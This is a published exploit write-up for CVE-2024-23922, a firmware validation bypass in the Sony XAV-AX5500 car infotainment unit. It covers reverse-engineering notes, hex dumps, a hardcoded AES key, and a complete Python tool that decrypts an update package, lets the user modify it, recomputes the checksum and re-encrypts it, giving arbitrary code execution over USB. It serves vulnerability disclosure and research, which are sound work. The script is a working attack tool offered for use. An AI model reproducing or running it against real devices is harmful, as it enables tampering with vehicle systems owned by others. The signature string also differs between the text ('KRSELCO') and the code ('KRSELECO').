# Exploit Title: Sony XAV-AX5500 Firmware Update Validation Remote Code Execution # Date: 11-Feb-2025 # Exploit Author: lkushinada # Vendor Homepage: https://www.sony.com/et/electronics/in-car-receivers-players/xav-ax5500 # Software Link: https://archive.org/details/xav-ax-5500-v-113 # Version: 1.13 # Tested on: Sony XAV-AX5500 # CVE : CVE-2024-23922 # From NIST CVE Details: # ==== # This vulnerability allows physically present attackers to execute arbitrary code on affected # installations of Sony XAV-AX5500 devices. Authentication is not required to exploit this # vulnerability. The specific flaw exists within the handling of software updates. The issue # results from the lack of proper validation of software update packages. An attacker can leverage # this vulnerability to execute code in the context of the device. # Was ZDI-CAN-22939 # ==== # # Summary # Sony's firmware validation for a number of their XAV-AX products relies on symetric cryptography, # obscurity of their package format, and a weird checksum method instead of any real firmware # signing mechanism. As such, this can be exploited to craft updates which bypass firmware validation # and allow a USB-based attacker to obtain RCE on the infotainment unit. # What's not mentioned in the CVE advisories, is that this method works on the majority of Sony's # infotainment units and products which use a similar chipset or firmware package format. Tested # to work on most firmware versions prior to v2.00. # # Threat Model # An attacker with physical access to an automotive media unit can typically utilize other methods # to achieve a malicious outcome. The reason to investigate the firmware to the extent in this post # is academic, exploratory, and cautionary, i.e. what other systems are protected in a similar # manner? if they are, how trivial is it to bypass? # # Disclaimer # The information in this article is for educational purposes only. # Tampering with an automotive system comes with risks which, if you don't understand, you should # not be undertaking. # THE AUTHORS DISCLAIM ANY AND ALL RESPONSIBILITY FOR CONSEQUENTIAL OR INCIDENTAL DAMAGES ARISING # FROM THE USE OF ANYTHING IN THIS DOCUMENT. # # The Unit # ## Processors # - DAC # - System Management Controller (SMC) # - Applications Processor # - Display Processor # Coming from a mobile and desktop computer environment, one may be use to thinking about # the Applications Processor as the most powerful chip in the system in terms of processing power, # size, power consumption, and system hierarchy. The first oddity of this platform is that the # application processor is not the most powerful; that honor goes to the DAC, a beefy ARM chip on the # board. # The application processor does not appear to be the orchestrator of the components on the system. # The SMC tkes which takes the role of watchdog, power state management, and input (think remote # controls, steering wheel button presses) routing. # For our purposes, it is the Applications processor we're interested in, as it is # the system responsible for updating the unit via USB. # ## Interfaces # We're going to be attacking the unit via USB, as it's the most readily exposed # interface to owners and would-be attackers. # Whilst the applications processor does have a UART interface, the most recent iterations of the # unit do not expose any headers for debugging via UART, and the one active UART line found to be # active was for message passing between the SMC and app processor, not debug purposes. Similarly, no # exposed JTAG interfaces were found to be readily exposed on recent iterations of the unit. Sony's # documentation suggests these are not enabled, but this could not be verified during testing. At the # very least, JTAG was not found to be exposed on an accessible interface. # ## Storage # The boards analyzed had two SPI NOR flash chips, one with an unencrypted firmware image on it. This # firmware was RARd. The contents of SPI flash was analyzed to determine many of the details # discussed in this report. # ## The Updater # Updates are provided on Sony's support website. A ZIP package is provided with three files: # - SHDS1132.up6 # - SHMC1132.u88 # - SHSO1132.fir # The largest of these files (8 meg), the .fir, is in a custom format, and appears encrypted. # The FIR file has a header which contains the date of firmware publication, the strings KRSELCO and # SKIP, a chunk of zeros, and then a highish entropy section, and some repeating patterns of interest: # 00002070 b7 72 10 03 00 8c 82 7e aa d1 83 58 23 ef 82 5c |.r.....~...X#..\| # * # 00002860 b7 72 10 03 00 8c 82 7e aa d1 83 58 23 ef 82 5c |.r.....~...X#..\| # 00744110 b7 72 10 03 00 8c 82 7e aa d1 83 58 23 ef 82 5c |.r.....~...X#..\| # * # 00800020 b7 72 10 03 00 8c 82 7e aa d1 83 58 23 ef 82 5c |.r.....~...X#..\| # ## SPI Flash # Dumping the contents of the SPI flash shows a similar layout, with slightly different offsets: # 00001fe0 10 10 10 10 10 10 10 10 ff ff ff ff ff ff ff ff |................| # 00001ff0 ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff |................| # * # 000027f0 ff ff ff ff ff ff ff ff ff ff ff ff 00 03 e7 52 |...............R| # 00002800 52 61 72 21 1a 07 00 cf 90 73 00 00 0d 00 00 00 |Rar!.....s......| # # 0007fff0 ff ff ff ff ff ff ff ff ff ff ff ff 00 6c 40 8b |.............l@.| # 00080000 52 61 72 21 1a 07 00 cf 90 73 00 00 0d 00 00 00 |Rar!.....s......| # ... # 00744090 ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff |................| # * # 00778000 # # This given the offsets and spacing, we suspect that the .FIR matches the contents of the SPI. # Decompressing the RARs at the 0x2800 and 0x80000, we get the recovery and main applications. # Once we remove the packaging bytes, seeing that the repetive patterns align with FF's, gives # us a strong indication the encryption function is operating in an ECB-style configuration, # giving us an avenue, even if we do not recover the key, to potentially make modifications # to the firmware depending on how the checksum is being calculated. # ## Firmware # The recovery application contains the decompression, decryption and checksum methods. # Putting the recovery_16.bin into ghidra and setting the memory map to load us in at 0x2800, # we start taking a look at the relevant functions by way of: # - looking for known strings (KRSELCO) # - analyizing the logic and looking for obvious "if this passed, begin the update, else fail" # - looking for things that look like encryption (loads of bitshifting math in one function) # Of interest to us, there is: # - 0x0082f4 - a strcmp between KRSELCO and the address the incoming firmware update is at, plus 0x10 # - 0x00897a - a function which sums the total number of bytes until we hit 0xA5A5A5A5 # - 0x02d4ce - the AES decryption function # - 0x040dd4 - strcmp (?) # - 0x040aa4 - memcpy (?) # - 0x046490 - the vendor plus the a number an idiot would use for their luggage, followed by enough # padding zeros to get us to a 16 byte key # This gives us all the information we need, other than making some guesses as to the general package # and header layout of the update package, to craft an update packager that allows arbitrary # modification of the firmware. # # Proof of Concept # The PoC below will take an existing USB firmware update, decrypt and extract the main binary, # pause whilst you make modifications (e.g. changing the logic or modifying a message), and repackage # the update. # ## Requirements # - Unixish system # - WinRar 2.0 (the version the Egyptians built the pyramids with) # ## Usage # cve-2024-23922.py path_to_winrar source.fir output.fir import argparse import sys import os import tempfile import shutil from cryptography.hazmat.primitives.ciphers import Cipher, algorithms, modes from cryptography.hazmat.backends import default_backend # Filenames as found in the .FIR MAIN_BINARY_NAME="main_16.bin" MAIN_RAR_NAME="main_16.rar" DECRYPTED_FILE_NAME="decrypt.bin" ENCRYPTED_FILE_NAME="encrypt.bin" # Offsets in the .FIR HEADER_LENGTH=0x80 RECOVERY_OFFSET=0x2800 MAIN_OFFSET=0x80000 CHECKSUM_OFFSET=0x800000-0x10 CHECKSUM_SIZE=0x4 RAR_LENGTH_OFFSET=0x4 RAR_LENGTH_SIZE=0x4 # From 0x46490 in recovery_16.bin ENCRYPTION_KEY=b'\x54\x41\x4d\x55\x4c\x31\x32\x33\x34\x00\x00\x00\x00\x00\x00\x00' def decrypt_file(input_file, output_file): backend = default_backend() cipher = Cipher(algorithms.AES(ENCRYPTION_KEY), modes.ECB(), backend=backend) decryptor = cipher.decryptor() with open(input_file, 'rb') as file: ciphertext = file.read() # Strip the unencrypted header ciphertext = ciphertext[HEADER_LENGTH:] decrypted_data = decryptor.update(ciphertext) + decryptor.finalize() with open(output_file, 'wb') as file: file.write(decrypted_data) def aes_encrypt_file(input_file, output_file): backend = default_backend() cipher = Cipher(algorithms.AES(ENCRYPTION_KEY), modes.ECB(), backend=backend) encryptor = cipher.encryptor() with open(input_file, 'rb') as file: plaintext = file.read() ciphertext = encryptor.update(plaintext) + encryptor.finalize() with open(output_file, 'wb') as file: file.write(ciphertext) def get_sony_32(data): csum = int() for i in data: csum = csum + i return csum % 2147483648 # 2^31 def validate_args(winrar_path, source_file, destination_file): # Check if the WinRAR executable exists and is a file if not os.path.isfile(winrar_path) or not os.access(winrar_path, os.X_OK): print(f"[x] Error: The specified WinRAR path '{winrar_path}' is not a valid executable.") sys.exit(1) # Check if the source file exists if not os.path.isfile(source_file): print(f"[x] Error: The specified source file '{source_file}' does not exist.") sys.exit(1) # Read 8 bytes from offset 0x10 in the source file try: with open(source_file, 'rb') as f: f.seek(0x10) signature = f.read(8) if signature != b'KRSELECO': print(f"[x] Error: The source file '{source_file}' does not contain the expected signature.") sys.exit(1) except Exception as e: print(f"[x] Error: Failed to read from '{source_file}': {e}") sys.exit(1) # Check if the destination file already exists if os.path.exists(destination_file): print(f"[x] Error: The destination file '{destination_file}' already exists.") sys.exit(1) def main(): parser = argparse.ArgumentParser(description="CVE-2024-23922 Sony XAV-AX5500 Firmware Modifier") parser.add_argument("winrar_path", help="Path to WinRAR 2.0 executable (yes, the ancient one)") parser.add_argument("source_file", help="Path to original .FIR file") parser.add_argument("destination_file", help="Path to write the modified .FIR file to") args = parser.parse_args() validate_args(args.winrar_path, args.source_file, args.destination_file) RAR_2_PATH = args.winrar_path GOOD_FIRMWARE_FILE = args.source_file DESTINATION_FIRMWARE_FILE = args.destination_file # make temporary directory workdir = tempfile.mkdtemp(prefix="sony_firmware_modifications") # copy the good firmware file into the temp directory temp_fir_file = os.path.join(workdir, os.path.basename(GOOD_FIRMWARE_FILE)) shutil.copyfile(GOOD_FIRMWARE_FILE, temp_fir_file) print("[+] Cutting the head off and decrypting the contents") decrypted_file_path = os.path.join(workdir, DECRYPTED_FILE_NAME) decrypt_file(input_file=temp_fir_file, output_file=decrypted_file_path) print("[+] Dump out the rar file") with open(decrypted_file_path, 'rb') as file: # right before the rar file there is a 4 byte length header for the rar file. get that. file.seek(MAIN_OFFSET-RAR_LENGTH_OFFSET) original_rar_length = int.from_bytes(file.read(RAR_LENGTH_SIZE), "big") rar_file_bytes = file.read(original_rar_length) # now dump that out rar_file_path=os.path.join(workdir, MAIN_RAR_NAME) with open(rar_file_path, 'wb') as rarfile: rarfile.write(rar_file_bytes) # check that the stat of the file matches what the header told us dumped_rar_size = os.stat(rar_file_path).st_size if dumped_rar_size != original_rar_length: print("[!] extracted filesizes dont match, there may be corruption", dumped_rar_size, original_rar_length) print("[+] Extracting the main binary from the rar file") os.system("unrar x " + rar_file_path + " " + workdir) print("[!] Okay, I'm now going to wait until you have had a chance to make modifications") print("Please modify this file:", os.path.join(workdir, MAIN_BINARY_NAME)) input() print("[+] Continuing") print("[+] Putting your main binary back into the rar file") os.system("wine " + RAR_2_PATH + " u -tk -ep " + rar_file_path + " " + workdir + "/" + MAIN_BINARY_NAME) # we could fix this by writing some FFs new_rar_size=os.stat(rar_file_path).st_size if dumped_rar_size > os.stat(rar_file_path).st_size: print("[!!] The rar size is smaller than the old one. This might cause a problem.") print("[!!] Push any key to continue, ctrl+c to abort") input() with open(decrypted_file_path, 'r+b') as file: # right before the rar file there is a 4 byte length header for the rar file. go back there file.seek(MAIN_OFFSET-RAR_LENGTH_OFFSET) # overwrite the old size with the new size file.write(new_rar_size.to_bytes(RAR_LENGTH_SIZE, "big")) print("[+] Deleting the old rar from the main container") # delete the old rar from the main container by FFing it up file.write(b'\xFF'*original_rar_length) # seek back to the start file.seek(MAIN_OFFSET) print("[+] Loading the new rar back into the main container") with open(rar_file_path, 'rb') as rarfile: new_rarfile_bytes = rarfile.read() file.write(new_rarfile_bytes) print("[+] Updating Checksum") with open(decrypted_file_path, 'rb') as file: contents = file.read() contents = contents[:-0x0010] s32_sum = get_sony_32(contents) with open(decrypted_file_path, 'r+b') as file: file.seek(CHECKSUM_OFFSET) # read out the current checksum old_checksum_bytes=file.read(CHECKSUM_SIZE) print("old checksum:", int.from_bytes(old_checksum_bytes, "big"), old_checksum_bytes) # go back and update it with new checksum print("new checksum:", s32_sum, hex(s32_sum)) new_checksum_bytes=s32_sum.to_bytes(CHECKSUM_SIZE, "big") file.seek(CHECKSUM_OFFSET) file.write(new_checksum_bytes) print("[+] Encrypting the main container back up") encrypted_file_path = os.path.join(workdir, ENCRYPTED_FILE_NAME) aes_encrypt_file(decrypted_file_path, encrypted_file_path) print("[+] Reattaching the main container to the header and writing to dest") with open(DESTINATION_FIRMWARE_FILE, 'wb') as file: with open(temp_fir_file, 'rb') as firfile: header = firfile.read(HEADER_LENGTH) file.write(header) with open(encrypted_file_path, 'rb') as encfile: enc_contents = encfile.read() file.write(enc_contents) print("[+] DONE!!! Any key to delete temp files, ctrl+c to keep them.") input() shutil.rmtree(workdir) if __name__ == "__main__": main()